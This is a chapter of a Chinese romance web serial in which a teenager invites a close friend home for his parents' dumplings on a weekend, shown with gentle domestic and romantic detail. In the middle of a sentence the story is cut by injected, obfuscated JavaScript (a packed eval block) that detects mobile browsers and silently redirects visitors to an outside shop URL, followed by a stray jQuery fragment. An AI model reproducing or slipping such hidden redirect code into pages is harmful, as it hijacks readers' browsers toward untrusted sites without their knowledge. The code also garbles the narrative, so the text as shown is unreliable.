周六早晨，苌斓是被手机震动叫醒的。
不是闹钟，是消息。他眯着眼睛摸到手机，屏幕亮着，一条消息躺在通知栏里。发件人只有一个字。
“醒了吗。”
他把手机翻过去扣在枕头上，闭眼躺了片刻。然后又翻过来，打字：“……这才几点。”
“七点半。”
“……周末。七点半算早。”
对方回得很快，快到像是早就猜到他会这么说。“那我八点再问。”
苌斓盯着这行字，把手机塞进枕头底下。翻了个身，闭上眼睛。过了一分钟左右，他又把手机掏出来，发了一条：“八点也不用问。我要睡觉。”发完把手机放在床头柜上，屏幕朝下。
但手机又震了。他忍了大概三秒，拿起来看。
“好。你睡。醒了告诉我。”
苌斓看着这条消息。没有多余的标点，没有表情包，没有追问。就是一句“醒了告诉我”。他把手机放回床头柜，翻了个身，把被子拉到下巴。闭上眼睛，睁开。又闭上，又睁开。然后他坐起来，发了一条消息。
“醒了。”
“不是说要睡觉吗。”
“……睡不着了。被你吵的。”
忘海发了一个小人靠在墙边的表情，嘴角弯弯的。苌斓盯着那个表情看了片刻，把手机放在一边，起床洗漱。厨房里没有豆浆机的嗡鸣。周末的早晨，父亲没有开豆浆机。但餐桌上还是放了一杯热牛奶，和前几天一样，旁边是一碟切好的水果。母亲从厨房探出头，围裙上沾着面粉。
“今天包饺子，”她说，“韭菜鸡蛋的。你要不要叫同学来家里吃饭？上次那个……经常和你一起上学的那个？”
苌斓端起牛奶的动作停了一瞬。然后继续端起来，喝了一口。“……什么同学。”
“就是那个高个子，眼睛很漂亮的。叫什么来着……忘海？”
苌斓呛了一下。牛奶差点洒出来。他抽了张纸巾擦嘴，动作很镇定。“……不知道你说的是谁。”
母亲笑了一下。没有追问，没有继续提。只是转身回厨房继续和面。但她转身的时候，嘴角的弧度苌斓看到了。他假装没看到，低头吃水果。叉子戳在苹果块上，戳了好几下才叉起来。
早饭后，苌斓回到房间，拿起手机。他点开忘海的对话框，打了几个字，删掉。又打，又删。最后发了一条。
“中午有事吗。”
“没有。”
“我妈包了饺子。韭菜鸡蛋的。”
对方沉默了大概五秒钟。然后消息进来了，只有两个字：“几点。”
“十二点。”
“好。我提前到。”
苌斓把手机放在书桌上。屏幕还亮着，对话框里那两个字——十二点，提前到——安静地躺在他的消息记录里。他看了片刻，然后把手机屏幕按灭。走到衣柜前，打开柜门。那件浅棕色卫衣还在里面，被团成一团塞在角落。他拿出来，展开，看了看。然后套在头上。穿好之后站在镜子前看了片刻，又低头看了看领口。没有叠穿。今天不是去学校，不用穿校服。他把卫衣的下摆拉了拉，又看了看镜子。然后迅速脱下来，换回了那件深灰色的叠穿。走到门口又折回来，站在镜子前，把两件衣服都拿在手里。左边深灰色，右边浅棕色。
最后他穿了浅棕色。
十一点四十五分，苌斓站在家门口等。他靠在门框上，手指插在口袋里，指尖碰到一颗花生。那颗画着笑脸的花生还在口袋里，壳上的笑脸被磨得有些模糊了，但弯弯的眼睛还看得见。他等的时间不长，但他在第十一次看手机的时候，觉得已经等了很久。他家门前的路上有一排梧桐树，树影在正午的阳光下投下斑驳的光斑。远处有自行车铃声，有小孩追逐的笑声，有邻居家炒菜的滋啦声。然后他看见忘海从那排梧桐树的尽头走过来。他走得不快，穿了一件浅灰色的卫衣，和苌斓衣柜里那件深灰色叠穿的不是同一件，但很像。他手里拎着一个袋子，看到苌斓站在门口，微微抬了抬下巴。苌斓注意到，他今天没有带保温杯。周末不需要保温杯，但他还是觉得少了点什么。然后在忘海走近的时候发现，他卫衣口袋的边缘露出一小截东西——是那颗核桃，圆滚滚的轮廓撑起了口袋的布料。他连周末都带着那颗核桃。
“来多久了。”忘海问。
“刚出来。”苌斓说。
忘海看了一眼他鞋边被踩得微微发皱的几片梧桐叶——那是站了很久、脚不自觉地碾碎的那种皱。他没有戳穿，只是把手里的袋子递过来：“我妈让我带的。她说上次的花生酥你说好吃，今天又做了一点。还有新做的核桃曲奇。她说第一次来你家，不能空手。”
苌斓接过袋子，低头看了一眼。里面的东西包得很仔细，保鲜膜裹了两层，封口处用胶带粘得整整齐齐。他忽然想起忘海说过，养母是中国人，温柔细腻，十几年如一日地往书包里塞吃的。现在这份温柔，有一部分被带到了他家门口。
“不用带东西的，”他把袋子接过来，“只是吃饺子。”
“她说要带。”
苌斓没有再说。他转身推开门，让忘海进来。玄关处摆着两双拖鞋，一双是家里的，一双是他刚才特意从鞋柜里翻出来的——新的，还没拆封。他把那双新拖鞋放在忘海脚边，动作有些硬，像是随手一扔。
“……新的。没人穿过。”
忘海低头看了看那双拖鞋。蓝色的，和他手里那个保温杯的颜色一样。他换好鞋，跟在苌斓身后走进客厅。苌斓的父母都在厨房里，听到声音，一起探出头。母亲看到忘海，围裙上还沾着面粉，笑起来：“忘海同学是吧？快坐快坐。小斓老提你。”
“我没有。”苌斓迅速说，语气有些急。母亲看了他一眼，嘴角的弧度更大了些。她没有再说，转身回厨房继续擀皮。父亲朝忘海点了点头，语气平稳：“坐。饺子马上好。”他的围裙还没解，手里拿着锅铲，但姿态很从容，像是在自己家里招待一个常来的客人。
忘海在沙发上坐下。苌斓去厨房给忘海倒了杯水，把水杯放在茶几上，然后在忘海旁边坐下来。他坐的位置和忘海之间隔了半个手臂的距离。不远不近，刚好是让人安心的距离。他能闻到忘海身上淡淡的洗衣液的味道，和他自己家用的不是同一种。他忽然想，忘海的养母是不是也是用这种洗衣液给他洗衣服的。然后他意识到自己在想什么，迅速把目光移开，盯着茶几上的水杯。
“你家里很安静。”忘海说。
“嗯。”
“安静很好。”
苌斓不知道该怎么接这句话。他知道忘海说的“安静”是什么意思。不是没有声音的安静。是没有争吵、没有摔东西、没有尖利的咒骂的安静。是温暖的安静。他把水杯往忘海的方向推了推。“……喝水。”
忘海端起水杯，抿了一口。然后他的目光落在沙发旁边的书架上。那里放着几本相册，是苌斓亲生父母这十六年来攒下来的。照片不多，都是最近几个月拍的，但每一张都装进相册里，按时间顺序排好。有一张是苌斓在新家第一天拍的，穿着新买的衣服，站在客厅里，表情有些僵硬。另一张是上周在商场拍的，母亲对着镜子看裙子，父亲在镜头外只露出半个肩膀。还有一张是苌斓在餐桌前吃早饭，明显是偷拍的——他的腮帮子鼓着，筷子夹着一个溏心蛋。
忘海的目光在那张偷拍的照片上停了一下。然后他侧头看了苌斓一眼，没有说话。
苌斓顺着他的目光看过去，看到那张照片，耳根迅速泛红。“……那是我妈偷拍的。她老偷拍我。”
“很好看。”
苌斓的手指在膝盖上蜷了一下。“……什么好看。吃相很难看。”
“不是吃相。”忘海的声音很轻，“是你。很好看。”
苌斓的手指在膝盖上又蜷了一下。他把水杯端起来，喝了一大口。水温有点烫，他呛了一下，咳嗽起来。忘海递了一张纸巾过来，他不小心碰到忘海的指尖。那只手上午在家磨了核桃曲奇的粉，洗过之后还残留着淡淡的核桃香。他接过纸巾，擦嘴。动作很镇定。但擦完之后纸巾被揉成了一团，皱得不成样子。
“饺子好了！”母亲端着大盘饺子从厨房出来。饺子冒着热气，白白胖胖的，边缘捏着整齐的褶子。父亲跟在后面，手里拿着碗筷和醋碟。他把忘海面前的碗筷摆好，然后把醋碟往苌斓手边推了推。那是苌斓习惯的位置。他记得。
四个人围坐在餐桌前。苌斓的母亲不停地给忘海夹饺子，每夹一个都要说“这个馅多”、“这个皮薄”、“这个是刚出锅的趁热吃”。和当初给苌斓夹菜时一样，小心翼翼又热情得不知所措。忘海碗里的饺子堆成了小山，他端着碗，一边道谢一边低头吃，吃得安静又认真。偶尔他抬起头，和苌斓的目光碰在一起，然后两个人都迅速低下头继续吃。
但苌斓注意到，忘海在吃第三个饺子的时候，嘴角弯了一下。不是对他笑的，是对饺子笑的。这个人吃饺子的时候会笑。他把这个发现藏在心里，低头扒饭，把碗举高了一点，挡住自己的脸。
饭后，苌斓在厨房帮母亲洗碗。忘海和父亲在客厅里，不知在聊什么。他洗了一只碗，又洗了一只，然后忍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724373|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
住从厨房门口往客厅看了一眼。忘海和父亲面对面坐着，父亲在说什么，忘海听得很认真，偶尔点头。然后他看见父亲笑了一下。那种笑不是客气，不是礼貌，是放松的、发自内心的笑。父亲不常笑。苌斓认识他这些日子，见过他笑的次数屈指可数。现在他对着忘海笑了。
他转过身继续洗碗。水龙头的声音很大，盖过了客厅里的对话。他不知道他们聊了什么，也不打算问。但心底某个角落，有什么东西轻轻地落了地。
洗完碗，苌斓送忘海出门。梧桐树影在午后的阳光下铺了一地，斑驳的光斑落在他们肩头。忘海站在门口，转身看着他。
“你爸妈很好，”他说，“你妈妈很温柔，你爸爸话不多，但是很细心。他说你喜欢吃溏心蛋，所以每次都给你煎两颗。他说你晚上要喝温水，所以每天睡前都给你换一杯。”忘海的语气依旧很平淡，但他看着苌斓的眼神里，藏着某种很深很深的东西。
苌斓低下头，看着自己脚上的拖鞋。他不知道父亲和忘海聊了什么，但忘海说的这些细节，他自己都没有完全注意到。他不知道父亲记得他喜欢吃溏心蛋，不知道母亲每天睡前给他换水，不知道这些平凡的小事在别人眼里是这样的。
“饺子很好吃，”忘海说，“比我养母包的好吃。你别说出去。”
苌斓抬起头，看着忘海。他站在梧桐树影里，手里拎着一个空袋子。他想起忘海早上站在路口等他的样子，想起他吃饺子时弯起的嘴角，想起他在沙发上看着相册里那张偷拍照片时说的“是你，很好看”。他向前走了半步，很小很小半步，近得能看清忘海睫毛在脸颊上投下的阴影。
“……下次再来，”他说，声音很轻，“我妈会包芹菜馅的。”
忘海微微弯了一下眼睛。“好。”
然后他转身走了。苌斓站在门口，看着那道浅灰色的背影渐行渐远。下午的阳光在他身上镀了一层淡金色的光，梧桐叶在他身后沙沙地响。走了十几步，忘海停下来，转过身。他站在那里，影子被阳光拉得很长。他的声音不大，但很清晰。
“下次来，我给你带你上次说想吃的核桃曲奇。我妈今天做的，你说好吃的那款。”
苌斓靠在门框上，双手插在口袋里。他摸到那颗画着笑脸的花生，壳上的纹路被他的指尖磨得发亮。他想起上次在消息里说喜欢吃核桃曲奇，忘海记住了。他想起今天早上，自己问忘海中午有事吗，忘海说没有。他想起忘海说提前到，但十一四十五分他站在家门口等的时候，忘海在十一四十四分就出现在了梧桐道的尽头。
“……核桃曲奇要热的，”他对着那道背影说，“凉了不好吃。”
忘海站在远处，愣了一下。然后他笑了。不是微微弯一下眼睛的笑，是真正的、被逗到的、带着一点无奈和很多纵容的笑。他点头，手插在口袋里，可能是碰到了那颗核桃、那颗奶糖、那颗花生，那个装着太多东西的口袋又鼓了一些。
“好。热乎乎的刚出炉的。我让我妈掐着时间烤。”
然后他转身继续走。这次没有回头。苌斓站在门口，看着他消失在梧桐道的尽头。他靠在门框上，阳光落在他浅棕色的卫衣上，落在他弯起的嘴角上。然后他推开门，走进屋里。母亲在厨房喊他吃水果，父亲在客厅看新闻。和每一天都一样。但好像什么都不一样了。
晚上，苌斓躺在床上，手机屏幕亮着。
“到家了。”
“嗯。你爸妈有没有说什么。”
“没有。就问我下周末还去不去。”
苌斓把手机放在枕头旁边，翻了个身。又翻回来。他打了一行字，删掉。又打，又删。最后还是发了。只有三个字。
“那你说。”
对方的回复很快。“我说好。”
苌斓把手机屏幕按灭，塞进枕头底下。然后翻了个身，把脸埋进枕头里。枕头很软，带着淡淡的花香。他在黑暗里，极轻极轻地弯了一下嘴角。然后把手伸进枕头底下，拿出手机，又发了一条。
“……芹菜馅的。别忘了。”
“忘不了。”
他把手机放在床头柜上。明天是周日。周末还有一天。他不知道忘海明天会不会来，不知道核桃曲奇什么时候能吃到。但他知道周一早上，路口会有一个人在等他。以后每个周一，每个周二，每一天。带着豆浆，带着核桃，带着芝麻，带着花生，带着所有他随口说过一次就被牢牢记住的东西。
苌斓闭上眼睛。窗外的梧桐树在夜风里沙沙地响，月光落在床头柜上那颗画着笑脸的花生上。
明天见。